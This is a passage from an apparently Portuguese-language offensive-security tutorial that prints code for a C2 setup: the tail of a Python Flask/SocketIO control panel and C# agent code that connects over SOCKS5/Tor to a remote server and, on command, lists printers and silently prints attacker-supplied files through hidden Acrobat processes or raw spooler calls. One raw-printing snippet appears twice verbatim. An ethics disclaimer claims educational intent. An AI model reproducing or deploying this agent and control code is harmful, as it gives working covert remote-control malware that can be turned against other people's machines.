    signal.signal(signal.SIGINT, sair_graciosamente)
    
    threading.Thread(target=iniciar_servidor_c2, daemon=True).start()
    socketio.start_background_task(target=background_updater)
    
    print(f"[*] Interface de Controle Web em http://127.0.0.1:{PORTA_WEB}")
    socketio.run(app, host='127.0.0.1', port=PORTA_WEB, allow_unsafe_werkzeug=True)

Dependências:

pip install flask flask-socketio pywin32

Explicação:

O código suporta dois modos de impressão remota: o primeiro utiliza o Adobe Acrobat/Reader para imprimir arquivos PDF, e o segundo envia dados diretamente para a impressora no modo RAW (formato bruto, como PCL ou PRN). Ambos os métodos são acionados remotamente por meio de comandos enviados via um stream TCP.

Quando o servidor remoto envia um comando como netcattestimprimir:<metodo>:<nomeImpressora>:<nomeTrabalho>:<base64>, o agente executa o método IniciarImpressao, que trata todo o processo de decodificação, verificação e envio para a impressora. Esse método começa assim:

if (metodo.Equals("acrobat", StringComparison.OrdinalIgnoreCase))
{
    if (!isPdf)
    {
        await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'acrobat' só pode ser usado para arquivos PDF.");
        return;
    }

    string executavelPath = EncontrarExecutavel(
        new[] { "Acrobat.exe", "AcroRd32.exe" }, 
        new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86 }
    );

    if (string.IsNullOrEmpty(executavelPath))
    {
        await EnviarMensagem(stream, 0x01, "[!] Adobe Acrobat/Reader não encontrado.");
        return;
    }

    string nomeArquivoSeguro = new string(nomeTrabalho.Where(c => !Path.GetInvalidFileNameChars().Contains(c)).ToArray()).Trim();
    if (string.IsNullOrWhiteSpace(nomeArquivoSeguro)) nomeArquivoSeguro = "ImpressaoRemota";
    tempFilePath = Path.Combine(Path.GetTempPath(), nomeArquivoSeguro + ".pdf");
    await File.WriteAllBytesAsync(tempFilePath, arquivoBytes);

    string argumentos = $"/t \"{tempFilePath}\" \"{nomeImpressora}\"";
    var psi = new ProcessStartInfo(executavelPath, argumentos) 
    { 
        CreateNoWindow = true, 
        UseShellExecute = false,
        WindowStyle = ProcessWindowStyle.Hidden
    };

    using (var processo = Process.Start(psi))
    {
        if (processo != null)
        {
            bool processoFinalizado = processo.WaitForExit(60000);
            if (!processoFinalizado && !processo.HasExited) processo.Kill();
        }
    }
}

Neste trecho, ele quebra o comando em partes (método de impressão, nome da impressora, nome do trabalho e os dados base64). Em seguida, os dados base64 são convertidos em bytes. Ele também verifica se o arquivo é um PDF ao checar os primeiros bytes.

Se o método especificado for "acrobat", o código exige que o arquivo seja um PDF e busca o executável do Acrobat ou Reader para imprimir o arquivo por meio de um processo externo. A impressão é feita silenciosamente, com os argumentos /t passados ao executável.

else if (metodo.Equals("raw", StringComparison.OrdinalIgnoreCase))
{
    if (isPdf)
    {
        await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'raw' não pode ser usado para arquivos PDF.");
        return;
    }

    if (RawPrinterHelper.SendBytesToPrinter(nomeImpressora, arquivoBytes, nomeTrabalho))
    {
        await EnviarMensagem(stream, 0x01, "[+] Arquivo enviado para a fila de impressão (RAW) com sucesso!");
    }
    else
    {
        await EnviarMensagem(stream, 0x01, $"[!] Falha ao enviar para a fila de impressão (RAW). Erro do sistema: {new Win32Exception(Marshal.GetLastWin32Error()).Message}");
    }
}

Caso o método seja "raw", o código envia os bytes diretamente para a impressora sem qualquer interpretação. Para isso, ele utiliza a classe RawPrinterHelper, que invoca APIs do Windows via P/Invoke para comunicar-se com o sistema de spool de impressão.

else if (metodo.Equals("raw", StringComparison.OrdinalIgnoreCase))
{
    if (isPdf)
    {
        await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'raw' não pode ser usado para arquivos PDF.");
        return;
    }

    if (RawPrinterHelper.SendBytesToPrinter(nomeImpressora, arquivoBytes, nomeTrabalho))
    {
        await EnviarMensagem(stream, 0x01, "[+] Arquivo enviado para a fila de impressão (RAW) com sucesso!");
    }
    else
    {
        await EnviarMensagem(stream, 0x01, $"[!] Falha ao enviar para a fila de impressão (RAW). Erro do sistema: {new Win32Exception(Marshal.GetLastWin32Error()).Message}");
    }
}

A função SendBytesToPrinter está implementada dentro da classe auxiliar RawPrinterHelper. Essa função usa as funções nativas OpenPrinter, StartDocPrinter, StartPagePrinter, WritePrinter, EndPagePrinter, EndDocPrinter e ClosePrinter para executar o envio. Os dados são copiados para memória não gerenciada (Unmanaged) antes de serem enviados.

public static bool SendBytesToPrinter(string szPrinterName, byte[] pBytes, string szDocName)
{
    IntPtr hPrinter = IntPtr.Zero;
    bool success = false;
    if (pBytes == null || pBytes.Length == 0) return true;

    var di = new DOCINFOA { pDocName = szDocName, pDataType = "RAW" };

    IntPtr pUnmanagedBytes = Marshal.AllocHGlobal(pBytes.Length);
    try
    {
        Marshal.Copy(pBytes, 0, pUnmanagedBytes, pBytes.Length);

        if (OpenPrinter(szPrinterName.Normalize(), out hPrinter, IntPtr.Zero))
        {
            if (StartDocPrinter(hPrinter, 1, di))
            {
                if (StartPagePrinter(hPrinter))
                {
                    success = WritePrinter(hPrinter, pUnmanagedBytes, pBytes.Length, out int dwWritten);
                    EndPagePrinter(hPrinter);
                }
                EndDocPrinter(hPrinter);
            }
        }
    }
    finally
    {
        Marshal.FreeHGlobal(pUnmanagedBytes);
        if (hPrinter != IntPtr.Zero)
        {
            ClosePrinter(hPrinter);
        }
    }
    return success;
}

Essa comunicação com a impressora é feita localmente, mas o comando e os dados vêm do servidor remoto. O stream NetworkStream é utilizado para receber comandos e enviar mensagens de status. Por exemplo, o método EnviarMensagem(stream, 0x01, "texto") é utilizado para relatar o andamento e o sucesso ou falha das ações realizadas.

Além da função de impressão, existe também o método ListarImpressoras que coleta os nomes de todas as impressoras instaladas no sistema com PrinterSettings.InstalledPrinters e os envia como uma resposta em JSON pelo mesmo stream TCP.

Todo esse sistema funciona como parte de um "agente" que se conecta via SOCKS5/Tor a um servidor remoto e escuta comandos de controle, incluindo os relacionados à impressão. Ele atua como um canal remoto para listar, escolher, receber arquivos e imprimir silenciosamente em impressoras locais.

Aviso de ética e responsabilidade

Este conteúdo é exclusivamente educacional e foi desenvolvido com o objetivo de demonstrar conceitos técnicos aplicados à segurança da informação. As técnicas, ferramentas e exemplos apresentados têm finalidade didática e são voltados para uso em ambientes controlados, laboratórios autorizados ou testes de segurança com permissão explícita.

O autor deste material não incentiva, autoriza ou se responsabiliza por qualquer uso indevido, ilegal ou mal-intencionado das informações aqui demonstradas. A reprodução ou aplicação prática dos conteúdos fora de um contexto ético e legal pode constituir crime, de acordo com a legislação vigente.

Ao acessar ou utilizar este material, você assume total responsabilidade por suas ações e declara compreender que todo conhecimento de segurança ofensiva deve ser usado com consciência, integridade e respeito à privacidade, à propriedade e à lei.